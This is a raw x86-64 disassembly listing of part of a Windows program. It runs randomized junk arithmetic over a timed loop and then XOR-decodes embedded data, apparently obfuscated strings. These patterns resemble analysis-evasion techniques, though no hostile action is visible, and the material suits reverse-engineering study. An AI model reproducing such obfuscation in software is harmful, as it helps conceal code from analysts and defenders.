mov rdi, rax
call fcn.14001ee30
mov rbx, rax
cmp rax, rdi
je 0x14000b933
mov esi, 0x22
nop word [rax + rax]
movzx r9d, word [rbx]
cmp r9w, si
je 0x14000b8c6
mov rcx, qword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1e0]
cmp rcx, rdx
jae 0x14000b8b8
lea rax, [rcx + 1]
mov qword [rbp + 0x1d8], rax
lea rax, [rbp + 0x1c8]
cmp rdx, 7
cmova rax, qword [rbp + 0x1c8]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x14000b91c
lea rcx, [rbp + 0x1c8]
call fcn.140021190
jmp 0x14000b91c
mov eax, dword [0x14002f2b8]
mov dword [rsp + 0x44], eax
movzx eax, word [0x14002f2bc]
mov word [rsp + 0x44], si
xor word [rsp + 0x46], 0x42
xor ax, 0x44
mov word [rsp + 0x48], ax
lea rax, [rsp + 0x44]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000b900
lea rdx, [rsp + 0x44]
lea rcx, [rbp + 0x1c8]
call fcn.14001ee40
add rbx, 2
cmp rbx, rdi
jne 0x14000b870
movabs rsi, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1844], 0xffffffff
mov dword [rbp + 0x4c4], eax
mov rdx, r15
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x4c4], eax
inc rdx
cmp rdx, 0x270
jb 0x14000b950
mov dword [rbp + 0x4c0], 0x270
mov dword [rbp + 0x150], 0xffffff9c
mov dword [rbp + 0x154], 0x64
movsd xmm13, qword [0x14002f9f8]
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0x58]
call fcn.140001670
mov rbx, qword [rbp + 0x58]
add rbx, 0x5f5e100
mov qword [rsp + 0x78], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x158], xmm1
mov qword [rbp + 0x168], r12
mov ecx, 8
call fcn.14002b0a8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xb0], r12
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x160]
cmp rdx, qword [rbp + 0x168]
je 0x14000ba13
mov rcx, r12
mov qword [rbp - 0x50], rcx
mov qword [rdx], rax
add qword [rbp + 0x160], 8
jmp 0x14000ba27
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x158]
call fcn.140022890
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000ba35
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xb8], r12
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x160]
cmp rdx, qword [rbp + 0x168]
je 0x14000ba78
mov rcx, r12
mov qword [rbp - 0x30], rcx
mov qword [rdx], rax
add qword [rbp + 0x160], 8
jmp 0x14000ba8c
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x158]
call fcn.140022890
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000ba9a
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xc0], r12
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x160]
cmp rdx, qword [rbp + 0x168]
je 0x14000badd
mov rcx, r12
mov qword [rbp - 0x48], rcx
mov qword [rdx], rax
add qword [rbp + 0x160], 8
jmp 0x14000baf1
lea r8, [rbp - 0x48]
lea rcx, [rbp + 0x158]
call fcn.140022890
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000baff
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xc8], r12
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x160]
cmp rdx, qword [rbp + 0x168]
je 0x14000bb42
mov rcx, r12
mov qword [rbp - 0x40], rcx
mov qword [rdx], rax
add qword [rbp + 0x160], 8
jmp 0x14000bb56
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x158]
call fcn.140022890
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000bb64
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xd0], r12
mov qword [rsp + 0x70], rax
mov rdx, qword [rbp + 0x160]
cmp rdx, qword [rbp + 0x168]
je 0x14000bba9
mov rcx, r12
mov qword [rsp + 0x70], rcx
mov qword [rdx], rax
add qword [rbp + 0x160], 8
jmp 0x14000bbbf
lea r8, [rsp + 0x70]
lea rcx, [rbp + 0x158]
call fcn.140022890
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000bbcd
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xd8], r12
mov qword [rsp + 0x68], rax
mov rdx, qword [rbp + 0x160]
cmp rdx, qword [rbp + 0x168]
je 0x14000bc12
mov rcx, r12
mov qword [rsp + 0x68], rcx
mov qword [rdx], rax
add qword [rbp + 0x160], 8
jmp 0x14000bc28
lea r8, [rsp + 0x68]
lea rcx, [rbp + 0x158]
call fcn.140022890
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000bc36
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x14000bc57
imul rax, rcx, 0x64
jmp 0x14000bcc6
cmp rdi, 0x16e3600
jne 0x14000bcab
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14000bcc6
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000c76a
mov dword [rsp + 0x40], r12d
mov r12d, dword [rbp + 0x150]
btc r12d, 0x1f
mov dword [rsp + 0x60], r12d
mov r13d, dword [rbp + 0x154]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x4c0]
cmp r13d, 0xffffffff
jne 0x14000bd20
call fcn.1400237c0
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
jmp 0x14000bdc4
lea edi, [r13 + 1]
call fcn.1400237c0
mov r14d, edi
mov ecx, eax
imul rcx, r14
mov eax, edi
cmp ecx, edi
jae 0x14000bd68
neg eax
xor edx, edx
div edi
mov esi, edx
mov eax, edi
cmp ecx, edx
jae 0x14000bd68
nop word [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000bd50
jmp 0x14000bd6a
mov edi, eax
mov r14d, r12d
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov edx, edi
mov qword [rbp - 0x80], rdx
mov ecx, eax
imul rcx, rdx
mov esi, edi
mov r15d, r12d
cmp ecx, edi
jae 0x14000bdc0
mov eax, edi
neg eax
xor edx, edx
div edi
cmp ecx, edx
jae 0x14000bdc0
mov ebx, edx
mov r12, qword [rbp - 0x80]
mov r15d, r14d
mov esi, edi
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x14000bda0
mov r12d, dword [rsp + 0x60]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x158]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x60], rdi
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
cmp r13d, 0xffffffff
jne 0x14000be13
mov ecx, eax
jmp 0x14000be4f
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000be4b
mov eax, esi
neg eax
xor edx, edx
div esi
mov edi, edx
cmp ecx, edx
jae 0x14000be46
nop
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000be30
mov rdi, qword [rsp + 0x60]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rdi
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000be72
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000bec0
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm6
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000bf60
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000bfc2
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
xor r13d, r13d
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x270], r13
mov r8d, 6
lea rdx, str.random
lea rcx, [rbp + 0x258]
call fcn.140021930
nop
lea rdi, [rbp + 0x258]
cmp qword [rbp + 0x270], 0xf
cmova rdi, qword [rbp + 0x258]
lea rsi, [rbp + 0x258]
cmova rsi, qword [rbp + 0x258]
add rsi, qword [rbp + 0x268]
cmp rdi, rsi
je 0x14000c0c7
nop word [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000c0b7
nop word [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000c0a0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x14000c080
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a8], xmm1
mov qword [rbp + 0x1b8], r13
mov ecx, 0x190
call fcn.14002b0a8
mov qword [rbp + 0x1a8], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x1b8], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x1b0], r14
lea rax, [rbp + 0x150]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x78], rax
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x80], xmm0
mov rsi, qword [rbp + 0x1a8]
cmp rsi, r14
je 0x14000c166
mov rdi, qword [rbp - 0x78]
mov r15, qword [rbp - 0x80]
mov rdx, rdi
mov rcx, r15
call fcn.140020500
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000c142
mov r14, qword [rbp + 0x1b0]
mov rsi, qword [rbp + 0x1a8]
mov dword [rbp + 0x1c0], 0xffffff9c
mov dword [rbp + 0x1c4], 0x64
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x80], xmm0
cmp rsi, r14
je 0x14000c1d8
mov r15, qword [rbp - 0x78]
mov r12, qword [rbp - 0x80]
nop word [rax + rax]
mov edi, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.140020500
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000c1b0
mov r14, qword [rbp + 0x1b0]
mov rsi, qword [rbp + 0x1a8]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.140023200
mov r8d, r13d
mov rax, qword [rbp + 0x1a8]
mov rdx, r13
mov r9, qword [rbp + 0x1b0]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x14000c275
cmp rcx, 8
jb 0x14000c275
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000c230
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000c28c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000c280
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x150]
btc esi, 0x1f
mov r12d, dword [rbp + 0x154]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x4c0]
cmp r12d, 0xffffffff
jne 0x14000c2de
call fcn.1400237c0
lea edi, [rsi + rax]
xor edi, 0x80000000
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
jmp 0x14000c381
inc r12d
call fcn.1400237c0
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x14000c31a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov edi, edx
cmp ecx, edx
jae 0x14000c31a
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000c304
shr rcx, 0x20
lea r14d, [rsi + rcx]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov edi, r14d
cmp ecx, r12d
jae 0x14000c37d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14000c37d
nop word [rax + rax]
mov esi, r15d
mov edi, r14d
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x14000c360
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x150]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x154]
lea rcx, [rbp + 0x4c0]
jne 0x14000c449
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000c3f4
call fcn.1400237c0
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000c4a7
lea edi, [rax + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c436
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c436
nop word [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c420
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000c4a7
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000c45e
call fcn.1400237c0
mov ecx, eax
jmp 0x14000c49a
lea edi, [rax + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c496
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c496
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c480
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x150]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x154]
btc r15d, 0x1f
sub r15d, r12d
xor ebx, ebx
nop
mov r14d, ebx
lea rcx, [rbp + 0x4c0]
cmp r15d, 0xffffffff
jne 0x14000c4e9
call fcn.1400237c0
mov ecx, eax
jmp 0x14000c52a
lea edi, [r15 + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c526
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c526
nop dword [rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c510
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000c550
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r14b, 1
jne 0x14000c60e
lea rcx, [rbp + 0x4c0]
cmp r15d, 0xffffffff
jne 0x14000c5b4
call fcn.1400237c0
mov ecx, eax
jmp 0x14000c5fa
lea edi, [r15 + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c5f6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c5f6
nop word [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c5e0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000c671
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000c620
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r14d
cmp r14d, 5
jl 0x14000c4d3
sub r13, 1
jne 0x14000c4d0
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rbp + 0x1a8]
test rcx, rcx
je 0x14000c6f0
mov rax, qword [rbp + 0x1b8]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c6d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c75c
call fcn.14002b0a0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1a8], xmm0
xor r12d, r12d
mov qword [rbp + 0x1b8], r12
jmp 0x14000c6f3
xor r12d, r12d
mov rdx, qword [rbp + 0x270]
cmp rdx, 0xf
jbe 0x14000c730
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c72b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c763
call fcn.14002b0a0
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp eax, 0x186a0
movsd xmm6, qword [0x14002faa0]
jl 0x14000bcd4
movabs rsi, 0xb2f4fc0794908cf3
jmp 0x14000bc36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x158]
test rbx, rbx
je 0x14000c808
mov rdi, qword [rbp + 0x160]
cmp rbx, rdi
je 0x14000c7b0
mov r15d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000c7a0
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000c790
mov rbx, qword [rbp + 0x158]
mov rax, qword [rbp + 0x168]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000c7ee
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c7ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002b0a0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
movups xmm0, xmmword [0x14002ec70]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [str.878:xg]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x14002ec90]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x14002eca0]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x14002ecb0]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x14002ecc0]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x14002ecc8]
mov dword [rbp + 0x148], eax
mov r9d, r12d
mov edi, 0xff8e
mov ebx, dword [0x140038090]
cmp ebx, 2
jl 0x14000ca57
movdqa xmm8, xmmword [0x14002fa20]
movdqa xmm6, xmmword [0x14002fab0]
movdqa xmm7, xmmword [0x14002fa90]
movdqa xmm9, xmmword [0x14002fa40]
movdqa xmm10, xmmword [0x14002fac0]
movdqa xmm11, xmmword [0x14002fa60]
lea rcx, [rbp + 0xf0]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x14000c8c0
cmp r9d, 0x2e
jge 0x14000cac6
movsxd rax, r9d
lea r10, [rbp + 0xf0]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x20]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x14000ca70
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x2c0]
call fcn.140020b40
movups xmm11, xmmword [0x14002f6a0]
movups xmmword [rbp + 0x10], xmm11
movsd xmm0, qword [0x14002f6b0]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x14002f6b8]
mov dword [rbp + 0x28], eax
movzx eax, word [0x14002f6bc]
mov word [rbp + 0x2c], ax
mov r9d, r12d
cmp ebx, 2
jl 0x14000ccae
movdqa xmm6, xmmword [0x14002fab0]
movdqa xmm7, xmmword [0x14002fa90]
movdqa xmm10, xmmword [0x14002fa60]
movdqa xmm5, xmmword [0x14002fa20]
movdqa xmm2, xmm5
